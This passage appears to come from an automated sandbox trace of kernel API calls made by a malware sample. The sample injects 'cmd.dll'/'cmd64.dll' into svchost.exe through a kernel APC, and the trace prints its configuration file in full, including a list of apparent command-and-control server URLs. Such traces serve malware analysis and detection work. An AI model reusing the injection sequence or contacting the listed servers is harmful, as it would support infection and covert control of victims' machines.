AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae0*=0x10000, RegionSize=0xfffff88002f9d9f0*=0x14000) returned 0x0 [0089.948] RtlImageNtHeader (BaseAddress=0x10000) returned 0x10040 [0089.948] RtlImageDirectoryEntryToData (in: BaseAddress=0x10000, MappedAsImage=1, Directory=0x5, Size=0xfffff88002f9dad8 | out: Size=0xfffff88002f9dad8) returned 0x0 [0089.948] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffff800004d8, BaseAddress=0xfffff88002f9dae8, ZeroBits=0x0, RegionSize=0xfffff88002f9d9f8, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0xfffff88002f9dae8*=0x50000, RegionSize=0xfffff88002f9d9f8*=0x1000) returned 0x0 [0089.948] _snprintf (in: _Dest=0x50020, _Count=0x103, _Format="\\\\?\\globalroot%S" | out: _Dest="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll") returned 49 [0089.948] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003753b90 [0089.949] KeInitializeApc (Apc=0xfffffa8003753b90, Thread=0xfffffa80038294d0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027ca950, RundownRoutine=0x0, NormalRoutine=0x50128, Mode=0xfffff88000000001, Context=0x50000) [0089.949] KeInsertQueueApc (Apc=0xfffffa8003753b90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0089.949] ZwUnmapViewOfSection (ProcessHandle=0xffffffffffffffff, BaseAddress=0x7fffffa0000) returned 0x0 [0089.949] ZwClose (Handle=0x14) returned 0x0 [0089.949] ZwClose (Handle=0xffffffff800004d4) returned 0x0 [0089.949] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd64.dll") returned 18 [0089.949] KeEnterCriticalRegion () [0089.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.949] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80018ab040 [0089.949] FsRtlFastUnlockAll (FileLock=0xfffffa80027db068, FileObject=0xfffffa8003827af0, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0xc000007e [0089.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.949] KeLeaveCriticalRegion () [0089.949] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.949] KeUnstackDetachProcess (ApcState=0xfffff88002f9da58) [0089.949] PsGetProcessImageFileName () returned 0xfffffa8003822340 [0089.949] _snprintf (in: _Dest=0xfffffa800382a378, _Count=0x103, _Format="%s (x64)" | out: _Dest="svchost.exe (x64)") returned 17 [0089.949] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0089.949] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004d4, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0089.949] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.949] KeEnterCriticalRegion () [0089.949] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.949] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.949] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.949] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.949] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0089.949] IdePortDispatch () returned 0x103 [0089.949] KeWaitForMutexObject () returned 0x0 [0089.949] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.949] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0089.949] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0089.949] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0089.949] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003729120 [0089.949] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.949] KeLeaveCriticalRegion () [0089.950] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.950] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0089.950] NtLockFile (in: FileHandle=0xffffffff800004d4, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0089.950] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.950] KeEnterCriticalRegion () [0089.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.950] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0089.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.950] KeLeaveCriticalRegion () [0089.950] ZwQueryInformationFile (in: FileHandle=0xffffffff800004d4, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0089.950] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.950] KeEnterCriticalRegion () [0089.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c140 [0089.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c140) [0089.950] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0089.950] IdePortDispatch () returned 0x103 [0089.950] KeWaitForMutexObject () returned 0x0 [0089.950] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.950] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.950] KeLeaveCriticalRegion () [0089.950] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.950] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a0014b0440 [0089.950] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0089.950] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0089.950] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="svchost.exe (x64)=") returned 18 [0089.950] _strlwr (in: _Str="svchost.exe (x64)=" | out: _Str="svchost.exe (x64)=") returned="svchost.exe (x64)=" [0089.950] ZwReadFile (in: FileHandle=0xffffffff800004d4, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014b0440, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a0014b0440*) returned 0x0 [0089.950] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.950] KeEnterCriticalRegion () [0089.950] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.950] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800381c140, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003426440 [0089.950] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.950] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c010 [0089.950] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c010) [0089.950] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.950] IdePortDispatch () returned 0x103 [0089.951] KeWaitForMutexObject () returned 0x0 [0089.951] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0089.951] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800382a9f0 [0089.951] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800382a9f0 | out: Irp=0xfffffa800382a9f0) returned 0xfffffa800381c010 [0089.951] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa800381c010, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa800381c010) [0089.951] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0089.951] IdePortDispatch () returned 0x103 [0089.951] KeWaitForMutexObject () returned 0x0 [0089.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.951] KeLeaveCriticalRegion () [0089.951] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.951] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0089.951] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="svchost.exe (x64)=") returned 0x0 [0089.951] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0089.951] ExFreePoolWithTag (P=0xfffff8a0014b0440, Tag=0x0) [0089.951] ZwClose (Handle=0xffffffff800004d4) returned 0x0 [0089.951] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.951] KeEnterCriticalRegion () [0089.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.951] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80018ab040 [0089.951] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003829d00, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0089.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.951] KeLeaveCriticalRegion () [0089.951] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.951] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0089.951] KeEnterCriticalRegion () [0089.951] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.951] ExFreePoolWithTag (P=0xfffffa8003729120, Tag=0x0) [0089.951] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0089.951] KeLeaveCriticalRegion () [0089.952] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0089.952] ZwClose (Handle=0xffffffff800004d8) returned 0x0 [0089.952] KeSetEvent (in: Event=0xfffffa800382a050, Increment=0x0, Wait=0 | out: Event=0xfffffa800382a050) returned 0 [0093.105] ZwOpenProcess (in: ProcessHandle=0xfffff88002f9db70, DesiredAccess=0x1fffff, ObjectAttributes=0xfffff88002f9db30*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x200, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0xfffff88002f9db20*(UniqueProcess=0x4d0, UniqueThread=0x0) | out: ProcessHandle=0xfffff88002f9db70*=0xffffffff800004f4) returned 0x0 [0093.105] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9d7b0, SourceString="\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cfg.ini") [0093.105] ZwCreateFile (in: FileHandle=0xfffff88002f9db18, DesiredAccess=0x100003, ObjectAttributes=0xfffff88002f9d7d8*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cfg.ini" (normalized: "\\device\\000001a9\\0d24eb7c\\cfg.ini"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9d7a0, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x1, CreateDisposition=0x3, CreateOptions=0x22, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0xfffff88002f9db18*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0) returned 0x0 [0093.105] _snprintf (in: _Dest=0xfffff88002f9cf10, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.105] KeEnterCriticalRegion () [0093.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.105] KeInitializeEvent (in: Event=0xfffff88002f9cd80, Type=0x0, State=0 | out: Event=0xfffff88002f9cd80) [0093.105] IdePortDispatch () returned 0x103 [0093.110] KeWaitForMutexObject () returned 0x0 [0093.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.110] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0093.110] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0093.110] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0093.110] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80038760d0 [0093.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.110] KeLeaveCriticalRegion () [0093.110] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.110] ZwAllocateVirtualMemory (in: ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880, ZeroBits=0x0, RegionSize=0xfffff88002f9d888, AllocationType=0x3000, Protect=0x4 | out: BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888*=0x1000) returned 0x0 [0093.111] NtLockFile (in: FileHandle=0xffffffff800004f0, Event=0x0, ApcRoutine=0x0, ApcContext=0x0, IoStatusBlock=0x90000, ByteOffset=0x90010, Length=0x90018, Key=0x0, FailImmediatedly=0, ExclusiveLock=1 | out: IoStatusBlock=0x90000) returned 0x0 [0093.111] _snprintf (in: _Dest=0xfffff88002f9d450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.111] KeEnterCriticalRegion () [0093.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.111] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa8003828ee0, Context=0x0) returned 0x0 [0093.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.111] KeLeaveCriticalRegion () [0093.111] ZwQueryInformationFile (in: FileHandle=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0xfffff88002f9d7a0, FileInformation=0xfffff88002f9d7c0) returned 0x0 [0093.111] _snprintf (in: _Dest=0xfffff88002f9d250, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.111] KeEnterCriticalRegion () [0093.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003239bb0) [0093.111] KeInitializeEvent (in: Event=0xfffff88002f9d0e0, Type=0x0, State=0 | out: Event=0xfffff88002f9d0e0) [0093.111] IdePortDispatch () returned 0x103 [0093.111] KeWaitForMutexObject () returned 0x0 [0093.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.111] KeLeaveCriticalRegion () [0093.111] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.111] FsRtlAllocatePool (PoolType=0x1, NumberOfBytes=0x1b5) returned 0xfffff8a000a8ba30 [0093.111] _snprintf (in: _Dest=0xfffff88002f9d9d0, _Count=0x104, _Format="[%s]\r\n" | out: _Dest="[inject]\r\n") returned 10 [0093.111] _strlwr (in: _Str="[inject]\r\n" | out: _Str="[inject]\r\n") returned="[inject]\r\n" [0093.111] _snprintf (in: _Dest=0xfffff88002f9d8c0, _Count=0x104, _Format="%s=" | out: _Dest="*=") returned 2 [0093.111] _strlwr (in: _Str="*=" | out: _Str="*=") returned="*=" [0093.111] ZwReadFile (in: FileHandle=0xffffffff800004f0, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a8ba30, BufferLength=0x1b4, ByteOffset=0x0, Key=0x0 | out: IoStatusBlock=0xfffff88002f9d7a0, Buffer=0xfffff8a000a8ba30*) returned 0x0 [0093.111] _snprintf (in: _Dest=0xfffff88002f9d230, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.111] KeEnterCriticalRegion () [0093.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003239bb0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c7ba30 [0093.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.111] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0093.111] IdePortDispatch () returned 0x103 [0093.111] KeWaitForMutexObject () returned 0x0 [0093.112] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0093.112] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.112] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003607090 [0093.112] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003607090, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003607090) [0093.112] KeInitializeEvent (in: Event=0xfffff88002f9d090, Type=0x0, State=0 | out: Event=0xfffff88002f9d090) [0093.112] IdePortDispatch () returned 0x103 [0093.112] KeWaitForMutexObject () returned 0x0 [0093.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.112] KeLeaveCriticalRegion () [0093.112] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.112] strstr (_Str="[main]\r\nversion=0.03\r\naid=66671\r\nsid=0\r\nbuilddate=351\r\ninstalldate=6.12.2016 9:36:14\r\nrnd=2040373303\r\n[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n", _SubStr="[inject]\r\n") returned="[inject]\r\n*=cmd.dll\r\n* (x64)=cmd64.dll\r\n[cmd]\r\nsrv=https://lo4undreyk.com/;https://sh01cilewk.com/;https://cap01tchaa.com/;https://kur1k0nona.com/;https://u101mnay2k.com/\r\nwsrv=http://gnarenyawr.com/;http://rinderwayr.com/;http://jukdoout0.com/;http://swltcho0.com/;http://ranmjyuke.com/\r\npsrv=http://crj71ki813ck.com/\r\nversion=0.31\r\n" [0093.112] strstr (_Str="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n", _SubStr="*=") returned="*=cmd.dll\r\n* (x64)=cmd64.dll\r\n" [0093.112] strncpy (in: _Dest=0xfffffa8003891274, _Source="cmd.dll", _Count=0x104 | out: _Dest="cmd.dll") returned="cmd.dll" [0093.112] ZwFreeVirtualMemory (ProcessHandle=0xffffffffffffffff, BaseAddress=0xfffff88002f9d880*=0x90000, RegionSize=0xfffff88002f9d888, FreeType=0x8000) returned 0x0 [0093.112] ExFreePoolWithTag (P=0xfffff8a000a8ba30, Tag=0x0) [0093.112] ZwClose (Handle=0xffffffff800004f0) returned 0x0 [0093.112] _snprintf (in: _Dest=0xfffff88002f9d310, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.112] KeEnterCriticalRegion () [0093.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.112] IoGetRequestorProcess (Irp=0xfffffa8003828ee0) returned 0xfffffa80018ab040 [0093.112] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa8003890560, ProcessId=0xfffffa80018ab040, Context=0x0) returned 0x0 [0093.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.112] KeLeaveCriticalRegion () [0093.112] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.112] _snprintf (in: _Dest=0xfffff88002f9d330, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0093.112] KeEnterCriticalRegion () [0093.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.112] ExFreePoolWithTag (P=0xfffffa80038760d0, Tag=0x0) [0093.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.112] KeLeaveCriticalRegion () [0093.112] IofCompleteRequest (Irp=0xfffffa8003828ee0, PriorityBoost=0) [0093.112] KeStackAttachProcess (in: PROCESS=0xfffffa8003878630, ApcState=0xfffff88002f9da58 | out: PROCESS=0xfffffa8003878630, ApcState=0xfffff88002f9da58) [0093.113] _snwprintf (in: _Dest=0xfffffa800389106c, _Count=0x103, _Format="%s\\%S" | out: _Dest="\\device\\000001a9\\0d24eb7c\\cmd.dll") returned 33 [0093.113] RtlInitUnicodeString (in: DestinationString=0xfffff88002f9da38, SourceString="\\device\\000001a9\\0d24eb7c\\cmd.dll" | out: DestinationString="\\device\\000001a9\\0d24eb7c\\cmd.dll") [0093.113] ZwOpenFile (in: FileHandle=0xfffff88002f9d9e8, DesiredAccess=0x100001, ObjectAttributes=0xfffff88002f9da08*(Length=0x30, RootDirectory=0x0, ObjectName="\\device\\000001a9\\0d24eb7c\\cmd.dll" (normalized: "\\device\\000001a9\\0d24eb7c\\cmd.dll"), Attributes=0x240, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0xfffff88002f9da48, ShareAccess=0x1, OpenOptions=0x20 | out: FileHandle=0xfffff88002f9d9e8*=0xffffffff800004f0, IoStatusBlock=0xfffff88002f9da48) returned 0x0 [0093.113] _snprintf (in: _Dest=0xfffff88002f9d150, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cmd.dll") returned 16 [0093.113] KeEnterCriticalRegion () [0093.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0093.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003874560 [0093.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003874560 | out: Irp=0xfffffa8003874560) returned 0xfffffa8003239bb0 [0093.113] MmProbeAndLockPages 